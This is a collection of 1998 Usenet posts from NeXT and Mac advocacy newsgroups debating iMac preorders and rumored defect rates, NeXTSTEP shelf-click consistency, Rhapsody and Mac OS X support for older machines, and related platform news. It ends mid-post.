To email a reply, write to jon at exnext dot com
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: 12 Aug 1998 06:40:49 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qrddh$e2f$1@lwnws01.ne.highway1.com>
References: <cgunalan-ya02408000R0708981934510001@news.pacific.net.sg> <1998080801024400.VAA01253@ladder01.news.aol.com> <trmp-0808980049440001@ptp28.sopris.net> <ExHBJ2.In8@T-FCN.Net> <6qo7s2$jkg$2@lwnws01.ne.highway1.com> <35cfe0c8.0@nnrp1.news.uk.psi.net>
richard@brainstorm.co.uk. (Richard Frith-Macdonald) wrote:
> Nope - He's talking about the fact that a single click on a folder
> on the shelf opens that folder in the browser window beneath the
> shelf. This IS an inconsistency - it's (mostly) harmless, but
> a little unexpected. I usually double click on shelf items out
> of habit, even though a single click would do exactly the same
> job.
>
> To be consistent - a single click on a folder on the shelf would
> merely highlight it while a double click SHOULD be required to
> open it.
Oh, yes. Ok, this is an instance where I think inconsistency is a net win in
usability. Since shift clicking multiple selections there will still do as
expected, the single click just speeds access. But good point. To me it
just shows that consistency for the sake of consistency is not necessarily a
good hueristic for UI design/implementation. Thanks for the cluon.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: Wed, 12 Aug 1998 02:17:50 -0600
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-1208980217510001@digital-02-138.hou.neosoft.com>
References: <joe.ragosta-0708981530570001@wil31.dol.net> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net> <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <joe.ragosta-0808980914350001@elk50.dol.net> <NeedALight?-0808981101420001@240.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-0908981624200001@digital-00-09.hou.neoworld.net> <NeedALight?-0908981717140001@153.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-1008980055360001@digital-00-40.hou.neoworld.net> <NeedALight?-1008981352590001@166.oakland-01.ca.dial-access.att.net>
In article
<NeedALight?-1008981352590001@166.oakland-01.ca.dial-access.att.net>,
NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> In article
<TheLidlessEyeTh-1008980055360001@digital-00-40.hou.neoworld.net>,
TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet) wrote:
>
> > In article
> > <NeedALight?-0908981717140001@153.oakland-01.ca.dial-access.att.net>,
> > NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> >
> > > In article
> > <TheLidlessEyeTh-0908981624200001@digital-00-09.hou.neoworld.net>,
> > TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet) wrote:
> > >
> > > > In article
> > > > <NeedALight?-0808981101420001@240.oakland-01.ca.dial-access.att.net>,
> > > > NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> > > >
> > > > > In article <joe.ragosta-0808980914350001@elk50.dol.net>,
> > > > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > > >
> > > > > > In article
> > <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net>,
> > > > > > macghod@concentric.net (Steve Sullivan) wrote:
> > > > > >
> > > > > > > In article
> > > > > > >
<NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net>,
> > > > > > > NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> > > > > > >
> > > > > > > > > MacOS Rumors is reporting 350,000 iMac preorders. Pretty
> > impressive.
> > > > > > > > >
> > > > > > > > > Not to mention the opportunities to "sell up". The iMac
is going
> > > > to bring
> > > > > > > > > a lot of people into the store. Some of them will
probably walk
> > > > out with
> > > > > > > > > PowerMacs--particularly if the iMac is in short supply.
> > > > > > > > >
> > > > > > > > > Looks like they're off to a great start.
> > > > > > > >
> > > > > > > > Robert Cringely is reporting that they've built 5,000, to
> > date, with an
> > > > > > > 11% defect rate. Once again, it would appear, Apple has snatched
> > defeat
> > > > > > > from the jaws of victory...
> > > > > > > > --
> > > > > > >
> > > > > > > I hope he is wrong.... THeir is about a week left, lets assume
> > they build
> > > > > > > 5000 a day every day for a while. This number may seem high
> > given what he
> > > > > > > is reporting, but factor in a huge increase due to what measures
> > > > > > > macorumors reports (working all night, highering more
people, etc etc)
> > > > > > >
> > > > > > > So by the 15th, thats 40k machines. Add 10 k since the report
> > is probably
> > > > > > > at least a couple of days. 1 week after its introduced, that
> > would be 75k
> > > > > > > machines made, lets factor in a error margin and bump it up to
> > 100k non
> > > > > > > defective machines made the 1 week after. Lets also assume that
> > all the
> > > > > > > machines first go to people who have preorders.
> > > > > > >
> > > > > > > So 1 week after the imac is available 2/3rds of those who
put up money
> > > > > > > ahead of time still dont have a imac. Isnt this a BAD THING ?
> > > > > > >
> > > > > > > FInancially (if you only consider the short term) its no big
> > deal, I mean
> > > > > > > they are selling everything they can make. But it seems like
> > very very
> > > > > > > bad pr.
> > > > > > >
> > > > > > > But, I didnt emphasize this enough... Who the hell is
Robert Cringely
> > > > > > anyways?
> > > > > > > Take back anything bad I may have insinuated about apple in this
> > post.
> > > > > > > *IF* this RObert Cringely were correct, what I said was true.
> > But I find
> > > > > > > it VERY VERY VERY dubious of a claim that apple has only built
> > 5000 imacs
> > > > > > > so far.
> > > > > >
> > > > > > It's called "lead time". He probably wrote his article a month
ago. Even
> > > > > > then, it's generally not good practice to consider unnamed inside
> > sources
> > > > > > as reliable.
> > > > >
> > > > > I suggest you read it for clarity. In it you will find the following:
> > > > >
> > > > > "They plan to have at least the first 30,000 of these machines
in stores
> > > > by next Friday. That, I doubt. As of last week, only about 5,000
iMacs had
> > > > been produced."
> > > > >
> > > > > The point of reference is clear, "as of last week" refers to some day
> > > > within the week ending 8/1.
> > > >
> > > > It's interesting, but unsubstantiated.
> > >
> > > Indeed, Joe's suppostion that the article was a month old was
> > interesting and unsubstantiated. Thanks for taking the time to point it
> > out. <snicker
> >
> > You know damned well what I mean.
> > Nice dodge, though.
>
> Why, thank you.
You're welcome.
>
> >
> >
> >
> > >
> > >
> > > > Where did he get the information that only 5000 machines had been
produced?
> > >
> > > Tell you what, you take it up wth Cringely.
> >
> > Cringely's a boob.
> >
>
> Well, some of the other web sites are beginning to report what Cringely
wrote, albeit without numbers. Ric Ford, today. As the Apple Turns, today.
LOL.
OmiGod, Ric Ford??!!!
Jesus, he wouldn't know an Apple factoid if it bit him in the ass.
Christ, he practically runs a rumors site these days.
Seems all it took was an email and a phone call from Jobs to turn him back
into a true believer.
>
> >
> >
> > >
> > > > Ever stopped to think that Cringely's been supplied with disinformation?
> > >
> > > Indeed I have. Which is why I've made sure to reflect that the
> > information comes from him.
> >
> > Sure as hell seems like you're pretty impressed with his take on the iMac
> > situation.
> > Enough to bring it up here, wouldn't you say?
> > Tell me I'm wrong.
> > (This is gonna be good).
>
> You're wrong. Happy?
Yeah, I am. It confirms my suspicions that you're so pissed at Apple over
this imagined slight
committed against you by the company that you'll cling to every piece of
bad news concerning
Apple whether it's fabricated or not.
In other words, you're an idiot.
>
> >
> >
> >
> >
> > >
> > > > Guess you were too busy rubbing your hands with glee at the prospect of
> > > > being able to
> > > > dash off FUD like this in your favorite newsgroup, eh?
> > >
> > > Wouldn't be the first (nor the last) time you were wrong. I read the
> > article in one of the "standard" Mac newsgroups, "MacSurfer's Headline
> > news. If they thought it was worth having a link to, why would it not be
> > worth bringing up here?
> >
> > If you've bookmarked the MacSurfer site, then you'd know that they
> > frequently link to all kinds of rabid anti-Mac
> > bullshit that makes the press. They just don't bother to qualify it for
> > the reader, like Feeding Frenzy or some of the
> > Mac advocacy watchdog sites do.
>
> Oooh. What are the odds that Mac advocacy sites will say negative things
about Apple, no matter their veracity?
Well, Macintouch for one.
MacOpinion is another.
Obviously you're familiar with MacWeek, MacUser and MacWorld during the
heyday of the clone years, where
reviewers railed against Apple on a regular basis (MacUser was practically
cheerleading for OS alternative
Be, Inc. and Power Computing.)
>
> > Nice try, though.
>
> Try hitting the web sites today. Friday's getting closer, what number
do you want for the backlog pool?
If you knew one whit about any major PC vendor's manufacturing operations,
you'd realize that you're
flogging a dead horse by continuing to harangue about illusory iMac shortages.
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
-Tom Vilot (tjv at indra dot com)
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: Wed, 12 Aug 1998 02:23:36 -0600
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-1208980223360001@digital-02-138.hou.neosoft.com>
References: <joe.ragosta-0708981530570001@wil31.dol.net> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net> <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <NeedALight?-0808981054420001@240.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-0908981619300001@digital-00-09.hou.neoworld.net> <joe.ragosta-1008980831470001@wil81.dol.net>
In article <joe.ragosta-1008980831470001@wil81.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article
> <TheLidlessEyeTh-0908981619300001@digital-00-09.hou.neoworld.net>,
> TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet) wrote:
>
> > In article
> > <NeedALight?-0808981054420001@240.oakland-01.ca.dial-access.att.net>,
> > NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> >
> > > With an 11% failure rate,it's easy to understand why Apple is proceeding
> > cautiously. Would you like to be one of the better than 1 in 10 who takes
> > possession only to have to return it? Returns of that magnitude would kill
> > Apple with expense *and* bad press.
> >
> > Whoa! Slow down, troll!
> > You still need to provide some factual basis for this "11% failure rate."
> > Until you can come up with something that corroborates Cringely's
> > blathering, you're
> > still fullOshit, as usual.
>
> Actually, if he had merely said "rumored 11% failure rate", his statement
> wouldn't be so bad.
>
> Of course, no one has ever made any evaluations on when the 11% rate was
> determined and whether it's bad or not. It's quite plausible that at the
> very start of production that 1 out of 10 machines might be bad and this
> might be completely normal. Production startup problems are very common.
> Even Cringely admits that his rumored 11% figure was at the start of
> production. What really matters is what the failure rate is after they get
> ramped up.
Exactly.
Ya gotta admire Nova's approach, though, in adopting an almost pedantic
tone in attempting to explain
Apple's supposed plight to someone who has several years of manufacturing
operations experience at
both Dell and Compaq.
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
-Tom Vilot (tjv at indra dot com)
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: Wed, 12 Aug 1998 02:36:34 -0600
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-1208980236340001@digital-02-138.hou.neosoft.com>
References: <joe.ragosta-0708981530570001@wil31.dol.net> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net> <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <NeedALight?-0808981054420001@240.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-0908981619300001@digital-00-09.hou.neoworld.net> <NeedALight?-0908981728370001@153.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-1008980049190001@digital-00-40.hou.neoworld.net> <NeedALight?-1008981401360001@166.oakland-01.ca.dial-access.att.net> <01bdc4d8$34716a70$74b4dccf@samsara>
In article <01bdc4d8$34716a70$74b4dccf@samsara>, "Jonathan Hendry"
<jon@steeldriving.com> wrote:
> Goin' Nova <NeedALight?@NOT.netcom.com> wrote in article
> <NeedALight?-1008981401360001@166.oakland-01.ca.dial-access.att.net>...
> >First time buyers. If they have a need, now, they will want to fill it,
> now.
>
> That depends on why they want an iMac. If they just want a cheap
> computer, they'll probably get something else. If they want an
> *iMac* - in other words, if they're buying something intangible about
> the iMac itself, they probably cannot get that from anything else.
>
> Likewise, if someone goes out to buy the new VW Beetle, they're not
> going to be happy with a Jetta. They want a Beetle.
>
> Thus, they'll wait. Or, if they have money, perhaps they'll
> pay more than list price. That briefly happened with the new Beetle.
> Perhaps that'll happen with the iMac. It'd be a serious PR coup for
> Apple if people start offering to pay $2,000 for a new iMac.
>
> It's not logical, but neither are people.
>
> - Jon
Quite true.
Consider the "beanie babies" craze....
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
-Tom Vilot (tjv at indra dot com)
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: 11 Aug 98 09:17:43
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug11091743@slave.doubleu.com>
References: <joe.ragosta-0708982205020001@elk59.dol.net> <B1F18F6F-2E069@206.165.43.124>
In-reply-to: "Lawson English"'s message of 8 Aug 98 05:15:07 -0700
In article <B1F18F6F-2E069@206.165.43.124>,
"Lawson English" <english@primenet.com> writes:
Joe Ragosta <joe.ragosta@dol.net> said:
>None of those things fit with the target audience. It's an
>appliance computer.
I see, so millions of families will buy a new computer every 2-3
years, rather than upgrade their existing one, when equally-priced
computers with equal performance (will be available by Christmas
'98) are available that CAN be upgraded piecemeal?
How about this spin: Millions of families are _today_ buying a new
computer every 2-3 years, rather than upgrade their existing computer,
which is/was upgradable. This is happening even if you completely
ignore the non-Intel-compatible market.
It's entirely possible that Apple is catching the beginning of a wave.
People just don't bother to upgrade electronic systems that cost under
$500 or so. Doesn't make a difference whether upgrading is possible.
Consumer electronics makers have taken advantage of this to reduce the
costs, which is reflected in the pricing, which makes it even less
likely that the purchaser will upgrade. After a decade or so of
soulless market activity, you end up with distinct classes of
components - expensive components that can be user-upgraded, and
inexpensive components that can't.
Admittedly, at $1300 the iMac is a bit spendy to ride this wave, but
if it's $1300 _now_, next year the jMac will be $1000, the next year
the kMac will be $850, and the next year the lMac will be $700. And I
expect that since a computer is a much more intimately involved piece
of consumer electronics, people will be willing to pay somewhat more
than they do for their VCR, television, or stereo systems (the
computer simply _does_ more!). If things go well, they can ride the
iMac right into range.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: 11 Aug 98 14:26:08
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug11142608@slave.doubleu.com>
References: <35d1c638.1269194@news.icx.net> <6qojpd$tu$1@news.idiom.com>
<6qp1oa$2gf$1@news.xmission.com> <35d05d98.0@news.depaul.edu>
<6qq1bd$qbb$1@nnrp1.dejanews.com>
In-reply-to: spagiola@my-dejanews.com's message of Tue, 11 Aug 1998 18:08:45 GMT
In article <6qq1bd$qbb$1@nnrp1.dejanews.com>,
spagiola@my-dejanews.com writes:
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> > > -> I can't find any installation app that recognizes .pkg's in Rhapsody
> > > -> DR2 for PCs.
>
> > There's the command line installer.sh that you can use to install packages,
> > but there is no Installer.app. The closest you get on the GUI side is
> > OpenUp.app by Scott Anguish, but that's not quite the same thing.
>
> Hm. So why hasn't anyone hacked together a quicky GUI app to
> drive installer.sh?
> (Presumably because y'all thought Apple would have one in DR2.)
The key question is: will there be one in Rhapsody^H^H^H Mac OS X Server?
Actually, the key question is: Will Mac OS X Server use .pkg wrappers
for file distribution?
I take the lack of Installer.app as more of a statement on the future
of .pkg wrappers than as a statement regarding whether you'll have to
use a command-line to install programs in the future. Honestly, it
should only take a competent programmer perhaps a week to put together
an initial version of something like Installer.app and the .pkg
system. There really isn't anything whizzy in there, it's just a
wrapper around tar and compress.
Perhaps they'll go with something they can leverage off of, like .rpm.
Or perhaps they're busy "investing" their time inventing "Yet Another
Installation Package System With Significant Holes In It." Who knows?
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: 11 Aug 98 14:30:08
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug11143008@slave.doubleu.com>
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com>
<35CF1CC6.835FA9DE@ericsson.com> <6qo7kb$jkg$1@lwnws01.ne.highway1.com>
<6qok3a$20f@news1.panix.com> <35d05ffe.0@news.depaul.edu>
<6qq18i$qac$1@nnrp1.dejanews.com>
In-reply-to: spagiola@my-dejanews.com's message of Tue, 11 Aug 1998 18:07:14 GMT
In article <6qq18i$qac$1@nnrp1.dejanews.com>,
spagiola@my-dejanews.com writes:
Just wondering if it would be possible, and legal, to write a
Rhapsody app to access the Webster data files that came with
NeXTSTEP, and then simply transfer those files?
If you aquired the files legitimately, sure. In effect, this implies
that you save your original distribution media, and don't have the
files installed on your NeXTSTEP machines.
Per the copyright notice under the Contents panel, The thesaurus and
dictionary (aka the data files) are copyright Merriam-Webster, and
Digital Webster (aka Webster.app) are copyright Merriam-Webster and
NeXT. Furthermore, "All rights reserved. No part of this work covered
by the copyrights hereon may be reproduced or copied in any form or by
any means without written permission of the publisher." Which seems
pretty clear.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
Date: Wed, 12 Aug 1998 07:40:12 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-1208980740130001@wil31.dol.net>
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com>
In article <jbg-1108981259520001@green.sdc.cs.boeing.com>,
jbg@sdc.cs.boeing.com (Jim Glidewell) wrote:
> In article <joe.ragosta-1008980827320001@wil81.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> >
> > Maybe you ought to read the thread, then.
>
> I have...
>
> > Someone was arguing about how terrible Apple is because Mac OS X won't run
> > on pre-G3 machines (maybe). I pointed out that MS also brings out
> > technologies which orphan previous machines.
>
> Defending Apple's actions by saying that their behavior is no worse than
> Microsoft's is no defense at all, IMHO...
Except that it's time for Apple to act like a grown up company and focus
on making money. They seemed to have forgotten that for a few years.
>
> YMMV.
>
> In terms of insult to faithful Apple customers (I've owned and used Macs
> at home for >10 years), I think that this Rhapsody/Rhapsody Server/OSX/G3
> shell game ranks right up there.
>
> To the best of my knowlege, Apple's last public statement on this matter
> was that _only_ G3 Powermacs would be supported by OS X. Unless you want
> us to base all of our discussions on unsubstantiated rumors about
> _possible_ support for other Macs, I suggest you drop the "(maybe)"
> out of the above argument as well. According to Apple, non-G3 Powermacs
> will *not* be supported. Period.
Not supported? True.
Not run? No one seems to know yet.
>
> If it turns out that Apple prices Rhapsody Server for roughly the same
> price as OSX, a lot of my personal objections will be muted. Given such
> a situation, people with PCI Powermacs would have *some* alternative
> to buying a whole new machine to get many of the (IMO valuable) features
> of Rhapsody/OSX.
>
> But the rumor mill has been *extremely* quiet on possible prices for
> Rhapsody Server, which I interpret as a bad sign - I still expect that
> Apple will price it as a "server" OS - my guess is a _minimum_ of $250,
> but probably closer to $450. Prices which make it basically impossible to
> justify for personal use.
>
> I sure hope I'm wrong...
Just why should a server OS be priced appropriately for personal use?
>
> Would you support Apple's (possible) decision to price Rhapsody 1.0 at
> (say) $400 and OS X at $100? And argue that such a pricing decision
> would be "fair" because...
>
> 1. Only big corporations need Rhapsody features anyway
> a. because crashes don't really affect ordinary users
> b. just a bunch of buzzwords anyway...
> c. ???
Mac OS X offers the same features as Rhapsody except cross-platform
support. Your argument is moot.
> 2. Apple needs to gouge existing customers because
> a. they're on the verge of bankruptcy
> b. Apple is primarily a hardware company
> c. they need to grow market share
> d. Apple is primarily a software company
> e. TNSTAAFL
Irrelevant. Why Apple charges something isn't an issue. What it costs is.
> 3. Only a fool pays attention to Apple's OS roadmap - serves you right
> a. And that was last year's promise, anyway
> 1. Apple's a "different company" now
> b. The name has changed - Apple promised "Rhapsody" support, now
> it's called OS X
> c. Only an idiot would believe Apple's promises anyhow
> d. Apple can't afford to keep it's promises
> 4. It's a "server OS" - it's supposed to cost more
Absolutely true.
> 5. Your 9600/300 is a pathetic, slow machine, unworthy of
> Apple's support at any rate
No one ever made any such claim.
> 6. Apple's not a charity
True.
> 7. Expecting a computer to be supported more than a year after
> release is completely unreasonable anyway
No one ever made any such claim.
> 8. Apple doesn't owe you anything
True.
> 9. It's just too much bother to support these older machines, so it's
> only fair that you pay extra
Possible.
[more drivel snipped]
>
> I've got to assume, Joe, that there must be _some_ things that Apple
> has done in recent years which you feel were mistakes and/or a
> disservice to Apple customers. This G3-only decision is apparently
> not one of them. Perhaps you could share a few of the decisions that
> you personally think were wrong/customer-unfriendly on Apple's part...
I have already pointed out a number of Apple decisions that I felt were a
mistake. You just don't seem to pay any attention when I do.
For example:
1. Abandoning Rhapsody for Intel.
2. Not coming to an agreement with cloners that specified that they were
to expand the market rather than just stealing Apple customers.
3. Dropping of multiprocessor machines (even temporarily).
4. Cutting Newton sales off so rapidly. They should have said that they
would continue to sell them to anyone who wanted them, even though they
were planning something much better in a year.
And plenty of other things.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Gabe Peltz <gabe@chief.chinalake.navy.mil>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Mon, 10 Aug 1998 12:56:43 -0700
Organization: NAWCWPNS
Message-ID: <35CF507B.167EB0E7@chief.chinalake.navy.mil>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com> <ExBo1z.sI.0.queen@torfree.net> <stuckey.902511226@jaka.ece.uiuc.edu> <gierkeNOSPAM-0708981618470001@pm1-65.ile.infi.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I've just finished reading the stack of messages titled Crash-o-Rama,
and felt I had but put my 2 cents in.
Comparing system crashes isn't a real tight benchmark, is it? I mean,
system crashes are annoying at best, and catastropic at worst, right?
I currently have 4 machines in my environment. 2 of these are at work:
a Sparcstation II and a Mac IIcx. One at home, my Mac 6500/250. And a
friend's PC something or other running Win95.
The Mac IIcx has been on and running for 5 months straight. It's using
Sys 7.0. It's not crashed in all of that time. If it does crash, I'd
bet that it would be on the level of simply annoying, `cause I could
fire it right back up and run it another 5 months.
My Sparcstation is a Unix type system, and I'm really learning to
appreciate how killer Unix is, despite it's relative complexity. This
system hasn't had a system crash, either. I would guess, though, that
if it did, it would mean that something is really wrong, like bad bad
wrong. That's why we have a System Administrator.
My 6500/250 used to crash somewhat frequently. Each time only required
a restart, and could almost always be chalked up to extension conflict.
After a bit of time and tuning, much like Gierke`s efforts, the system
purrs, hasn't actually had a crash since. I now only get that damned
double shutdown bug, thanks OS8.1.
And, lastly, my bud`s Win95 machine. It crashes infrequently, seems
pretty stable. From what I've seen, though, when his system bites it,
it bites it hard.
So, to conclude, not only should one measure crashes by frequency, but
also by level of catastrophy.
Long time NG reader, first time writer.
Sorry if you read this whole message.
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NEXTstep/Openstep for the Mac
Date: 12 Aug 1998 09:30:48 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6qs5e8$i06$1@crib.corepower.com>
References: <35CF0C69.B3B0CF5@ericsson.com> <35d05ffe.0@news.depaul.edu> <6qq18i$qac$1@nnrp1.dejanews.com> <SCOTT.98Aug11143008@slave.doubleu.com>
In article <SCOTT.98Aug11143008@slave.doubleu.com>, scott@nospam.doubleu.com (Scott Hess) wrote:
> In article <6qq18i$qac$1@nnrp1.dejanews.com>,
> spagiola@my-dejanews.com writes:
> Just wondering if it would be possible, and legal, to write a
> Rhapsody app to access the Webster data files that came with
> NeXTSTEP, and then simply transfer those files?
> If you aquired the files legitimately, sure. In effect, this implies
> that you save your original distribution media, and don't have the
> files installed on your NeXTSTEP machines.
I'd be willing to do that whenever I make my permanent switch. However,
I'm more interested in the "possible" part. Does anyone know how to
decode the Webster data files so that a clone could be written??
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Wed, 12 Aug 1998 13:31:39 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qs5fr$jju$1@nnrp1.dejanews.com>
References: <cgunalan-ya02408000R0708981934510001@news.pacific.net.sg> <1998080801024400.VAA01253@ladder01.news.aol.com> <trmp-0808980049440001@ptp28.sopris.net> <ExHBJ2.In8@T-FCN.Net> <6qo7s2$jkg$2@lwnws01.ne.highway1.com> <35cfe0c8.0@nnrp1.news.uk.psi.net>
richard@brainstorm.co.uk. (Richard Frith-Macdonald) wrote:
> Nope - He's talking about the fact that a single click on a folder on the
shelf
> opens that folder in the browser window beneath the shelf.
> This IS an inconsistency - it's (mostly) harmless, but a little unexpected.
> I usually double click on shelf items out of habit, even though a single click
> would do exactly the same job.
>
> To be consistent - a single click on a folder on the shelf would merely
highlight
> it while a double click SHOULD be required to open it.
Agreed that it's inconsistent, but remember that the shelf provides a
short-cut to folders. Having them open in the workspace manager just by
selecting them speeds access quite a bit, a feature which I very much like.
I've never found myself confused by this inconsistency. So by all means, lets
try to make things consistent. But there are instances in which other aspects
are also important, and a trade-off may be in order. Why should consistency
always rule? The key is to be consistent wherever possible, and to depart
from consistency only when there are significant advantages to be gained
thereby, in which case efforts should be made to minimize the possibility of
confusion. As another example, putting print in the top-level menu might be
inconsistent with some visions of what the top-level menu should be, but IMHO
the advantages in term of readier access are great, and the possibility of
instilling confusion among users is pretty minimal.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
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Date: Wed, 12 Aug 1998 09:45:05 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Message-ID: <joe.ragosta-1208980945050001@wil51.dol.net>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com>
In article <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> see: http://www.newsbytes.com/pubNews/116306.html
>
> Sun adds SolarisOS to their free product offerings along with JDK. As long
> as SolarisOS is employed in a non-commercial setting its free... sort of ±
> there's still the cost to distribute. Sun charges for CD copying, shipping
> and handling.
Has anyone actually been able to get through? I gave up after an hour of
trying--at various times during the day.
How much is the "media and shipping" cost?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 12 Aug 1998 09:45:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Message-ID: <joe.ragosta-1208980945420001@wil51.dol.net>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com>
In article <35D0BB31.C59D68BD@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Again, this is the complaint we always hear by way of excuse. Some
> people believe that without smashing this notion, Apple will be dead
> shortly.
This wasn't true a year ago and it's even less true now.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 12 Aug 1998 09:48:15 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Message-ID: <joe.ragosta-1208980948150001@wil51.dol.net>
References: <6qp1oa$2gf$1@news.xmission.com> <6qpo42$gu@shelob.afs.com> <6qqc66$2gf$2@news.xmission.com>
In article <6qqc66$2gf$2@news.xmission.com>, don@misckit.com wrote:
> Also, Greg, DR2 discussions are allowed. Note:
>
